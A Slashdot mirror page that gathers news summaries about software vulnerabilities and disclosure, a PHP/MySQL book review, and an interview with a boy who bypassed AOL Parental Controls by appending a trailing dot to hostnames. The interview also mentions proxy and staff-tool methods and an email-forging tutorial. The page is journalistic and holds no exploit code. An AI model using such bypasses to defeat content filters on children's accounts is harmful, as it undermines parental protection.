Slashdot Mirror

An anonymous reader writes "The age-old full disclosure debate has been raging again, this time in no other place than at the foundations of the open-source flagship GNU/Linux operating system: within the Linux kernel itself. It beggars belief, but even Linux creator, Linus Torvalds, has advocated against the sort of openness on which Linux has thrived, arguing that security fixes to the kernel should be obscured in changelogs, saying 'If it's not a very public security issue already, I don't want a simple "git log + grep" to help find it.' Unfortunately, it's not kernel exploit writers who need to grep the changelog in order to find kernel vulnerabilities. On the contrary, it's downstream distributors who rely on changelog information in order to decide when to patch the kernels of their distributions, in order to keep their users safe."

An anonymous reader writes "Apparently Microsoft still hasn't learned that counting vendor acknowledged vulnerabilities isn't a good way to establish the security of an OS. As an analysis of Microsoft's claims on Full Disclosure shows, we see that the methodology used was badly flawed. A bug in Firefox (not to mention emacs), counts as a flaw for Linux, while IE bugs get ignored on Vista's chart. Then we see that vulnerabilities aren't vulnerabilities when they're security-challenged features such as Vista's Teredo. Also, there's far too little consideration given to severity, given that it stoops to counting even extra access restrictions on a file in OSX to have something to show. In short, the original Microsoft analysis was good PR and poor research."

cj writes in with news of a vulnerability in Firefox's stock popup blocker discovered by Michal Zalewski. The vulnerability can allow a malicious user to read files from an affected system. The attacker would "need to plant a predictably named file with exploit code on the target system. This sounds hard, but isn't," according to the article.

An anonymous reader writes "Noam Rathaus writes on the SecuriTeam Blogs how most Image Click-Me virtual keyboards schemes used by banks to fight phishing trojan horses can be easily broken, even (and especially) when encryption is used. He then discusses how screenshots of the pointer location are over-kill, and describes how to kick these security measures out of the way." From the article: "Instead of sending the remote image and waiting for the key-stroke information to be sent back to the server (the technique which the screenshots for pointer location on-click described above was used) some banks send the PIN number in cleartext, while others encrypt them, one such example is cajamurcia. Even when the encryption is used, banks tend to implement it badly making it easy to recover the PIN number from the encrypted form. I investigated a bit more on how cajamurcia handles such PIN strokes (with virtual keyboards) and I noticed something strange, they take the timestamp of their server (cajamurcia) and send it to you - this already posses a security problem - and this timestamp is then used to encrypt the PIN number you entered"

netbuzz writes "Noam Rathaus on his SecuriTeam blog describes a technique by which 'Google can be utilized to hack into websites — actively exploiting them (not information gathering by the use of "Google hacking," although that is how most of the sites vulnerable to RFI attacks are found).' He cites examples in the wild and even mentions that the technique could be used as a 'covert' communications channel."

An anonymous reader writes "November has been labelled the 'Month of Kernel Bugs' in security circles. The Month of Kernel Bugs began on November 1, with the publication of a vulnerability in Apple's AirPort drivers. SecuriTeam blogs did an interview with LMH, who hosts the project."

The Illinois court that told Spamhaus to stop blocking the spammer filing suit against them — an order which Spamhaus ignored — is now considering ordering ICANN to pull Spamhaus's domain records. While Gadi Evron, whose blog posting is linked above, urges everyone to beat the judge with a clue stick, a guest writer on his blog counsels much greater restraint. Anti-spam lawyer Matthew Prince explains how Spamhaus got into its current pickle — apparently by following conflicting legal advice at two points in the process — and what they might have to do to get out. One spamfighter of my acquaintance says that Spamhaus's SBL and XBL blocklists knock out 75% of the spam at his servers before it hits and requires more CPU-intensive filtering. If ICANN is ordered to unplug Spamhaus from the DNS, and does so, is the Net prepared to deal with a 4-fold increase in spam hitting MTAs overnight?

The Illinois court that told Spamhaus to stop blocking the spammer filing suit against them — an order which Spamhaus ignored — is now considering ordering ICANN to pull Spamhaus's domain records. While Gadi Evron, whose blog posting is linked above, urges everyone to beat the judge with a clue stick, a guest writer on his blog counsels much greater restraint. Anti-spam lawyer Matthew Prince explains how Spamhaus got into its current pickle — apparently by following conflicting legal advice at two points in the process — and what they might have to do to get out. One spamfighter of my acquaintance says that Spamhaus's SBL and XBL blocklists knock out 75% of the spam at his servers before it hits and requires more CPU-intensive filtering. If ICANN is ordered to unplug Spamhaus from the DNS, and does so, is the Net prepared to deal with a 4-fold increase in spam hitting MTAs overnight?

GrayWolf42 writes "SecuriTeam Blogs has posted an interview with Ilfak Guilfanov, one of the people developing the IDA Pro disassembler, who also happens to have written the unofficial WMF vulnerability patch. In this short interview he discusses the patch, how it works, and why he wrote it." From the article: "Q: When you heard of this vulnerability, you created a temporary patch to close the hole until Microsoft updated its software. Could you tell us more about what the patch does? A: The patch just removes this powerful command. It does not do anything else. The fix modifies the memory image of the system on the fly. It does not alter any files on the disk. It modifies [the image of] the system DLL 'gdi32.dll' because the vulnerable code is there." Microsoft has released an official update, which you should be able to download from the windows update site.

mtrisk writes "Just a day after Cisco released a security warning about its WLSE access point management tool, a tool to crack wi-fi networks using LEAP authentication has been released, reports Wi-Fi Networking News. The tool, called Asleap and developed by Beyond-Security, actively de-authenticates users, sniffs the network when the user re-auntheticates, and performs an offline dictionary attack upon the password."

ehenning writes "SecuriTeam has posted a paper on some known vulnerabilities in Mac OS X. It lists methods for developing shellcode based on the PowerPC architecture. They note that there are similar vulnerabilities in Mac OS X and Darwin as in IA32 machines."

codewolf writes "It has been reported to bugtraq by Domas Mituzas that a worm that exploits the Apache chunk bug has been found in the wild. Information on the worm can be found here. More information on the Apache bug can be found here, and patches can either be made by modifying your config file or upgrading your Apache version."

Brian Donovan contributes this review of Web Database Applications with PHP & MySQL, the most recent of several books geared toward helping people use the common Linux, Apache, MySQL and PHP combination to produce database-backed websites. Read on for the review. Web Database Applications with PHP & MySQL author Hugh E. Williams and David Lane pages 563 publisher O'Reilly rating 9 reviewer Brian Donovan ISBN 0596000413 summary A comprehensive, tutorial-style roadmap for building data-driven web applications with PHP and MySQL.

PHP's speed of execution, gentle learning curve, and ease of development have contributed to its popularity, especially when teamed with MySQL, as a tool for building dynamic sites. Williams and Lane have written a thorough step-by-step guide to building web database applications with PHP and MySQL.

The Meat of the Book

Part I (Chpts 1-3) of Web Database Applications with PHP & MySQL (Web DB Apps) introduces the "Hugh and Dave's Online Wines" case study that's used to highlight the points made throughout the text and treats readers to the fundamentals of PHP, MySQL, and SQL - appropriate since the book assumes only some prior programming experience (not necessarily in PHP) and a general familiarity with HTML.

Chapters 4-9 (Part II) deal with the aspects of web application logic common to practically all data-driven sites : querying and writing to databases, maintaining state, and security. Chapter 4, "Querying Web Databases", includes a good explanation (Ex. 4-1) of the mechanics of connecting to and querying a MySQL db via PHP - numbered blocks of the example script correspond to sections in the accompanying text detailing what's happening at each point in the process (connect, query, retrieve results, process results, and close connection- unless you're using persistent db connections).

Chapter 5, "User-Driven Querying", explains how to pass data to PHP scripts using HTTP GET and POST. Although readers are initially shown parameters and parameter values being passed directly (as they are when register_globals is turned on in php.ini), the authors later explain why the same param:value pairs should instead be accessed through the global associative arrays $HTTP_GET_VARS and $HTTP_POST_VARS (the book was completed before the switch to $_GET and $_POST respectively with PHP 4.2.0) for security reasons. What the authors refer to as "combined scripts" (where the same script performs different functions depending on which, if any, variables in the GET or POST arrays, have been set, for example) are introduced and the reader is walked through the oft-used "next and previous links for query results" scenario.

In Chapter 6, "Writing to Web Databases", in addition to inserts, updates, and deletes, the authors explain one solution to the reload problem - i.e. where reloading a results page after some operation that alters the contents of the database has been performed (or even accessing a bookmarked url if HTTP GET was used to initiate the action) can potentially result in the operation being silently repeated or, if HTTP POST was used, the user being confronted with a big ugly "would you like to repost the data?" dialog. Locking (mostly how to make the best use of table-level locking) is also discussed in all of its glory. Chapter 7 deals with the validation of user input. The authors recommend and give an example implementation of dual server and client side validation (with JavaScript). Chapter 8 covers sessions (with and without cookies).

The chapter on security (Chapter 9, "Authentication and Security") mostly concerns user authentication. HTTP Authentication, managed HTTP Authentication (using PHP to validate encoded credentials from the HTTP Authorized header field), and handling your own authentication are considered, along with the security concerns inherent in stateful web apps - i.e., third party sites maliciously tricking browsers into coughing up cookies with login or session information for your site, session hijacking by feeding random session ids to the scripts until one corresponds to an existing session, etc. SSL is explained briefly.

The third and final section of Web DB Apps (Chpts 10-13) consists of a detailed examination of the guts of the wine store case study. Readers who find the commingling of application logic and html in the snippets of the wine store application discussed in the book distasteful will be gratified to know that, since publication, the authors have released a modified version of the "Hugh and Dave's Online Wines" code that uses the Xtemplate class (http://sourceforge.net/projects/xtpl/) to separate code from markup. Both versions are available in their entirety for download from the book website.

The five appendices, in turn, cover the installation and configuration of PHP, MySQL, and Apache on a Linux system, the architecture and workings of the Internet and Web, designing relational databases using entity-relationship modeling, how to define your own session handler prototypes and store session data in a database instead of files (the default), and provide an annotated list of PHP and MySQL resources (books, web sites, etc.).

The Good and the Bad

While it's clear that Web Database Applications with PHP & MySQL was written with the goal in mind of providing novice coders with a solid foundation for continued growth (or filling the niche of "handy reference" on the shelf of intermediate/advanced developers), the book manages to be comprehensive without patronizing the reader. I admit that I wouldn't have felt cheated if the authors had skipped the obligatory coverage of the history of the Internet, TCP/IP, and HTTP (Appendix B) in favor of, for instance, a discussion of web caching with an eye towards building cache-friendly apps, an important subject that all too gets short shrift from authors of web dev books. Also, some readers may be disappointed to find that the chapter on security doesn't relate to battening down your site against script kiddies and exploits, but that's really the sort of information that you should be getting from sites like PHP Advisory and Securiteam anyway.

For seasoned developers, this could be the book that you wish you'd had when you started out building web database apps and data-driven sites. Keeping a copy around for reference, especially if you frequently jump back and forth between projects in different languages/environments, also might be helpful - for those occasions when you need of a quick refresher in PHP/MySQL dev. Moreover, if you find yourself in the position of having to mentor junior developers (or helping non-coder friends) tasked with building or maintaining PHP/MySQL-based sites or apps, then lending them your copy or recommending that they buy their own could save you quite a bit of time and frustration.

Table of Contents

• Preface
• Part I
• • Chapter 1. Database Applications and the Web
  • Chapter 2. PHP
  • Chapter 3. MySQL and SQL
• Part II
• • Chapter 4. Querying Web Databases
  • Chapter 5. User-Driven Querying
  • Chapter 6. Writing to Web Databases
  • Chapter 7. Validation on the Server and Client
  • Chapter 8. Sessions
  • Chapter 9. Authentication and Security
• Part III
• • Chapter 10. Winestore Customer Management
  • Chapter 11. The Winestore Shopping Cart
  • Chapter 12. Ordering and Shipping at the Winestore
  • Chapter 13. Related Topics
• Appendix A. Installation Guide
• Appendix B. Internet and Web Protocols
• Appendix C. Modeling and Designing Relational Databases
• Appendix D. Managing Sessions in the Database Tier
• Appendix E. Resources
• Index

You can purchase Web Database Applications with PHP & MySQL from bn.com. Slashdot welcomes readers' book reviews -- to submit yours, read the book review guidelines, then hit the submission page.

JibbaJabba writes "Securiteam is reporting that a "security vulnerability has been confirmed in Lycos's Search Engine" which "allows malicious web site owners to cause JavaScript code (or any other HTML code) to get included in the search results displayed to the end user by Lycos". They also state that "other engines are suspected to be vulnerable as well". Anyone tried google yet? The original bugtraq report by Sentry Labs is available here." Proof once again that the jerks have more spare time then the people who actually do something worthwhile.

JibbaJabba writes "Securiteam is reporting that a "security vulnerability has been confirmed in Lycos's Search Engine" which "allows malicious web site owners to cause JavaScript code (or any other HTML code) to get included in the search results displayed to the end user by Lycos". They also state that "other engines are suspected to be vulnerable as well". Anyone tried google yet? The original bugtraq report by Sentry Labs is available here." Proof once again that the jerks have more spare time then the people who actually do something worthwhile.

resistant writes: "This article at Network World Fusion (seen at Linux Today) says, "In addition to DNSSEC, BIND 9 features support for IPv6, the ability to run on multiprocessor systems and improved scalability for handling large domain name zones." The urgent need (by Nike anyway, heh-heh) to forestall easy domain hijacking could be the sleeper issue that finally ushers in universal implementation of IPv6."

"AOL wants your children to be safe online," using their Parental Controls. There's just one problem with their censorware. You can see any site you want by appending a "." to the hostname - and this has been true since at least 1997, when Mike Sklut of newriot.com discovered the simple exploit. At the time, he was 11 years old. Despite his having told a few thousand of his closest friends, AOL didn't wise up to the fact until yesterday morning. Mike's out of town at a baseball tournament, but we managed to trade e-mail with him about his early hacking years. Update: 07/17 02:59 PM by J : Other censorware suffers from the same vulnerability. Sheesh.

Slashdot:

What does Parental Controls do?

Mike Sklut:

Parental controls block certain Web sites that AOL lists on their system. When you type in a URL, tokens are sent through your client to the AOL proxy requesting a site. The screen name is verified, and if you are on any three of four settings, the proxy may or may not send you the information.

These settings not only block certain Web sites that AOL lists, but also certain features of AOL. For example: kids only can't access most main features of AOL such as instant messages, and many e-mails are blocked unless the controls are set further.

Also note that if you are not set on 18+ (the very highest setting), then no sockets applications are allowed to connect to anything. It does not give your computer any connection to the Internet except through the AOL client.

Can you describe the hole?

This hole affects all AOL users who are set on mature teen (16-17). This exploit (or trick if you will) is simply done by adding a "." at the end of the second level domain extension. For example: if you're trying to get into 'newriot.com' and it gives you the classic "Web restricted error," just type in 'newriot.com.'

How'd you learn about it?

Just over three years ago (I must have been in fifth grade at the time), a friend and I were trying to get into altavista.com to do research for a project. I was set on young teens at the time, and I believe he was on mature teens. (Note: this trick used to work on young teens as well as mature, but it now seems to only work on mature).

Anyway, we couln't get in, each of us, because altavista was believed by AOL to have adult ads or something, so it was blocked by AOL. We were just messing around with the URL, adding characters here, port numbers there, and all of a sudden I got into it. It happened unknowingly and it took me a minute to figure out how I actually did it.

A small thing, but it proved to be a popular trick for a time with my friends.

Is this useful for anything besides looking at porn?

I knew this question would come along. =] Research projects? Well, seriously, if you needed something that AOL didn't like (other than porn); warez, pages with cussing or swear words on them.

I never used it much at all; soon after that research project, I got into Web design and my parents had to change me to 18+ to use sockets applications for publishing to my site. It worked great for me though; I told all my friends (and more) who tried to take credit for it, and that really made me mad.

If you just needed to do research, why didn't you just talk to your parents about turning the controls off?

They had already gotten mad at me before. I had gone on my dad's screen name and changed my controls (back and forth multiple times) to do other stuff that required an Internet connection that was external from the AOL client. Once or twice he caught me and got mad, and he had refused to change them before because I had done it without his permission; he really didn't care if I had other stuff that I wanted to do (IRC, FTP, and I think that was all I did that required a connection at the time).

How many kids did you tell about this?

In the last three years I would guess I would have told at least 5000 people about it. Since I learned about the trick I have lived in three different states (IL, MA, and MI). I usually told a ton of my friends.

And, you have to add me publicly talking about it on my old Web site (emall2.com, which I am currently battling out with the owners of emall.com over trademark infringments). I posted it on there on a sub site (some AOL tricks thing) just about a month before it was taken down; I got about 500 "THANK YOU SO MUCH" e-mails about it, and my hit counters showed thousands of hits to that one page.

Did you know when you posted it on your site what would happen? (Are you sorry you tipped off the media, or are your friends ticked off at you for revealing the secret?)

I rushed into getting the site up, and I needed pretty quick publicity. The site is not 1/4 done yet, and the our first major staff meeting isn't until next Monday. I had to post about some big news that someone might be interested in and come to the site to look at, and this seemed to be the thing. It was horrible timing, and I wish I would have done this in two weeks from today, when most of the site is up. I got a ton of e-mail telling me about how good the site will be, and wondering where all the content was. I absolutely knew this would happen, and I'm very glad that I did it (but the timing was off, as you can see), and I'm very glad of the results.

I'm very happy I tipped off the media. I hate America Online, as I have for years (various reasons), and this just makes them look bad (bad in some people's eyes, horrible in others).

My friends (about 15 so far) e-mailed me screaming about how happy they were to see me on news.com, yet very mad at me for this is their only source for getting out of AOL's controls. Next week I'll post how to use proxies, so they can get around it once again.

I'm also working on getting a new NPH wrapper (if you can help I'd love it because I can't figure out how to do this) for the server so it can understand some of the commands in my cgi-based proxy app.

Has AOL patched it up yet?

Last night [Thursday, July 13] I called them (as a very concerned parent) asking them if my son (who I said was set on mature teen) was at risk.

The man I spoke with "absolutely assured" me that he was safe and AOLs parental control system was "100% fullproof". I told him about newriot.com and news.com's articles on it, and he tried it out. He was very suprised to see that he could get into a restricted site with the account he had made set on mature teens. He told me this was the first he had seen of this, and that he would tell his supervisor of the incident. He then told me that he was very sorry about the problem and he was sure something would happen fast. I thanked him.

Today [Friday], around 10:38 AM EDT, I tried it, and was suprised to see that it was fixed. I never knew AOL was quick with anything these days.

Your site mentions "several other methods" but doesn't give details yet. Can you give us a hint?

Yea sure. =P

1 - proxies

2 - using staff tools to force certain tokens through the proxy. This gives you access to any Web site (and many staff areas on AOL that aren't on stratus)

3 - once again using staff tools to create hybrid forms that will go through other proxies that can be searched for

Proxies will always work and always be around for the rest of history; AOL won't get a work around these for many years. Even when they do get something to decode pictures and sites through proxies, there will still be encryption. Staff tools will let us get through easily on the 'younger' settings, but the kids that use them would be breaking the law by using the tools themselves (I think), and might not be technical enough to use them.

Your site also says you're going to put up a tutorial on forging e-mail. Do you like poking around computer security, do you think you'll keep doing it?

The tutorial for forging e-mail was already put up on the old design for newriot.com. I recently gave her a facelift, and deleted all the old stuff to put into the new template for the site. I have had it all ready to go for a while, I just can't upload it until I get to my house and out of this baseball tournament.

I've been messing with AOL's security for a while now, and about a year ago I got a little out of AOL and more into the main Internet thing. The first hackers conference I went to was this summer (rubi-con) and I hope to get to go to some others (the problem is my parents and transportion).

Poking around at online security is a blast. It just infuriates me all of the Internet users that think of themselves as "elite" just because they can scam a password from some staff AOL account, or the people that go around causing havok online and think they are the best. These are the idiots that ruin it for the all of us, and I'm also very sorry to see all the newbies looking to them, who will one day become one of them.

Anything you'd like to say to parents who have trusted Parental Controls to keep their teens safe on the Internet?

If your kid is half-way smart and is a quarter computer literate -- he'll get around it. There are plenty of sites that will show you how to use proxies that are very easy to understand.

What's the best (and only) way to make sure your teen (or kid) isn't looking at stuff online you wouldn't want him/her to be looking at? -- Don't have kids. In today's world many kids have external access to the Web; off-home surfing. Their friends have it, their school has it, their public library has it. So much access to this. If any or all of these are using filtering there are always ways around it.

Are your parents going to get mad when they see this interview?

My parents wouldn't ever see it without me telling them about it, and even if they did they wouldn't read it. And even if they read it, they wouldn't get mad. So all in all; no, they'll be fine. Thanks.